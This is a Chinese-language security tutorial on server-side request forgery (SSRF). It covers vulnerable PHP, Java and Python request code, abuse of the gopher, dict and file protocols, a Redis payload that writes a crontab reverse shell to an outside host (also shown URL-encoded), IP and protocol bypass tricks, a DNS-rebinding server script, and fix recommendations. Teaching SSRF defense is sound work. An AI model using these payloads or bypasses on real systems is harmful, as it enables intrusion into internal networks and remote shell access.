SSRF(原理&绕过姿势)

[+] Author: Hope
[+] Team: 希望Team
[+] Date: 2017/07

0x00 前言

文章不足之处,望多指正。

0x01 概述

SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。

利用SSRF能实现以下效果:

1) 扫描内网(主机信息收集,Web应用指纹识别)

2) 根据所识别应用发送构造的Payload进行攻击

3) Denial of service

0x02 漏洞利用

a) SSRF in PHP

1). 环境搭建

<?PHP
        $URL = $_GET['URL'];
        $CH = CURL_INIT();
        CURL_SETOPT($CH, CURLOPT_URL, $URL);
        CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
        CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
        CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
        // 允许302跳转
        CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
        $RES = CURL_EXEC($CH);
        // 设置CONTENT-TYPE
        HEADER('CONTENT-TYPE: IMAGE/PNG');
        CURL_CLOSE($CH) ;
        //返回响应 ECHO $RES;
?>

方便大家更直观了解,上述代码用来模拟ssrf,使用curl发起网络请求然后返回客户端,这里我请求加载图片

2). 利用方式

一般发起网络请求中会使用libcurl库,来看下它所支持的协议

除了http/https,还有一些可利用的协议如下

 DICT

除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等

 File

 Gopher

万能协议(利用Gopher攻击Redis、攻击Fastcgi 等

 FTP(S)/SMB(S)

匿名访问及爆破

 Tftp

UDP协议 发送UDP数据包

 Telnet

SSH/Telnet匿名访问及爆破

3). 总结

file_get_contents()
fsockopen()
curl_exec()

以上三个函数使用不当会造成SSRF漏洞

大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议

修复方案:

• 限制协议为HTTP、HTTPS

• 禁止30x跳转

• 设置URL白名单或者限制内网IP

需要注意的是,回显是能否成功利用的重要的条件,在某些场景协议限定为HTTP模式且没有回显,利用会相对复杂了。

b) SSRF in Java

1). 环境搭建

编写脚本扫描内网开放端口的主机

通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问

构造脚本写入 目录‘/etc/crontab‘

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save 

进行url编码:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹shell

2). 利用方式

网络请求支持的协议如下

http,https,file,ftp,mailto,jar,netdoc

对比php的ssrf,java这块利用相对局限,

3). 总结

以下几种类引用不当会造成SSRF

Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,

修复方案:

• 限制协议为HTTP、HTTPS

• 不用限制302重定向

• 设置URL白名单或者限制内网IP

c) SSRF in Python

1). 环境搭建

HTTP Header Injection in Python urllib ,

当使用了Python 的urllib库,请求url为用户可控时,就可能存在ssrf漏洞,且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell

Python 测试脚本代码: test.py

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

测试一下通过http头注入来向redis写入普通的文本:

./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

2). 漏洞利用

通过Redis的通讯协议来突破空格的限制:(具体利用参考链接下方

3). 总结

修复方案:

  1. 解析目标URL,获取其Host

  2. 解析Host,获取Host指向的IP地址

  3. 检查IP地址是否为内网IP

  4. 请求URL

  5. 如果有跳转,拿出跳转URL,执行1

0x03 挖掘漏洞

对外发起网络请求的地方都可能存在SSRF漏洞,列举

图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源

文件处理,编码处理, 属性信息处理,

 Ffpmg

 ImageMaic

数据库内置功能

 PostgreSQL

 MongoDB

 CouchDB

0x04 绕过技巧

@

添加端口号

短网址绕过

指向任意IP的域名http://xip.io

http://10.0.0.1.xip.io resolves to 10.0.0.1

www.10.0.0.1.xip.io resolves to 10.0.0.1

http://mysite.10.0.0.1.xip.io resolves to 10.0.0.1

foo.http://bar.10.0.0.1.xip.io resolves to 10.0.0.1

IP限制绕过

十进制转换 八进制转换 十六进制转换 不同进制组合转换

协议限制绕过

栗子

当url协议限定只为http(s)时,可以利用follow redirect 特性

构造302跳转服务,

结合dict:// file:// gopher://

DNS rebinding

DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等,,,这里介绍三种方法

  1. 特定域名实现TTL=0

  2. 域名绑定两条A记录

1/4的概率,当第一次解析为外网ip,第二次解析为内网ip,就会成功。

  1. 自建DNS服务器

步骤如下:添加一条ns记录和一条a记录

Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,

A记录表示ns.h0pe.site位置在ip地址http://xxx.xxx.xxx.xxx上

在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip="104.160.43.154"
        else:
            ip="171.18.0.2"

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()



if __name__ == '__main__':
    raise SystemExit(main())

Root 权限运行,

0x05参考

http://blog.safebuff.com/2016/07/03/SSRF-Tips/

http://wavr.feei.cn/SSRF/

https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

http://bendawang.site/article/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93

https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2

https://security.tencent.com/index.php/blog/msg/106

猜你喜欢

转载自www.cnblogs.com/skrr/p/10992331.html